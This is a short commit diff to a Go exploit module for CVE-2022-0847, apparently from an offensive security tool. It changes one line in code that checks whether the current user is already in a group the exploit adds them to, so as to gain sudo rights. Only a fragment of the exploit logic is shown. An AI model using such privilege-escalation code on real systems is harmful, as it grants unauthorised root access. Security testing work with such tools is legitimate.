Update exploit.go (#77)

Author: liamg

pkg/exploits/cve20220847/exploit.go

@@ -112,7 +112,7 @@ func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log lo
 				found = true
 				if parts[3] != "" {
 					users := strings.Split(parts[3], ",")
-					var canAdd bool
+					canAdd := true
 					for _, existing := range users {
 						if existing == u.Username {
 							log.Printf("NOTE: Your user is already in the %s group - you can likely sudo already...", parts[0])